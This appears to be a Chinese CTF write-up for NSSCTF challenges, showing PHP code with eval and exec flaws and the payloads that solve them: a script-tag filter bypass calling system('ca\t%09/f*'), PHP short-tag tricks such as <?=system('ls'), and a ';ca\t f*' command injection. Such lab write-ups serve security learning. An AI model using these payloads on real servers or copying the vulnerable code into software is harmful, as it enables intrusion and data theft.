题目FSCTF 2023]EZ_eval | NSSCTF

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(isset($_GET['word'])){
$word = $_GET['word'];
if (preg_match("/cat|tac|tail|more|head|nl|flag|less| /", $word)){
die("nonono.");
}
$word = str_replace("?", "", $word);
eval("?>". $word);
}else{
highlight_file(__FILE__);
}

此处注意第八行的eval("?>". $word);

通常eval函数就是把括号里合法的字符串当作php代码执行:

1
2
3
4
5
6
7
8
<?php
$str = 'echo "hello";';
$content = eval($str);
echo ',world!';
?>

执行结果: hello,world!
//前者输出hello,后者补上world

此处添加“?>”就是直接将 括号里的不合法代码不报错而直接当作字符串输出(算是一个容错机制?)

它已经将后面的“字符串”全部当作“字符串”了,是吧!

那我们此时想要执行php代码该怎么办?

直接插入完整的php代码(带php标签)例如:<?php phpinfo()?>或者

<script language="php">phpinfo();此处联想文件上传后门php文件的写法.

本题过滤了?和空格,emm很恶心就.所以我们直接构造<script%09language="php">system('ca\t%09/f*');

一些短标签构造

1
2
3
4
5
6
7

<? echo '123';?> #前提是开启配置参数short_open_tags=on​​
<script language="php">echo 'hello'; #不需要修改参数开关,但是只能在7.0以下可用。
<% echo '123';%> #开启配置参数asp_tags=on,并且只能在7.0以下
当仅禁用<?php时,可以使用<? ?>要求:需要开启短标签开关,short_open_tag
当禁用<?php以及?>时,还可以使用<?= 不需要闭合标签<?=system('ls')(要求:PHP版本>PHP 5.4.0)

题目FSCTF 2023]Hello,you | NSSCTF

扒一下页面源代码:发现源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$input = isset($_GET['input']) ? $_GET['input'] : '';

// 执行命令并返回结果
function executeCommand($command) {
$output = '';
exec($command, $output);
return $output;
}

// 注册用户
function registerUser($username) {
// .........
$command = "echo Hello, " . $username;
$result = executeCommand($command);
return $result;
}

// 处理注册请求
if (isset($_POST['submit'])) {
$username = $_POST['username'];
$result = registerUser($username);
}

$command = "echo Hello, " . $username; $result = executeCommand($command); exec($command, $output);关键在此处代码执行.

command里面还有个echo 函数,因此将其提前闭合;这样我们就可以单独执行username部分了.而此处参数可控.输出框传入:;ca\t f*

题目[CISCN 2019初赛]Love Math | NSSCTF

[刷题记录:CISCN 2019 初赛]Love Math - MustaphaMond - 博客园 (cnblogs.com)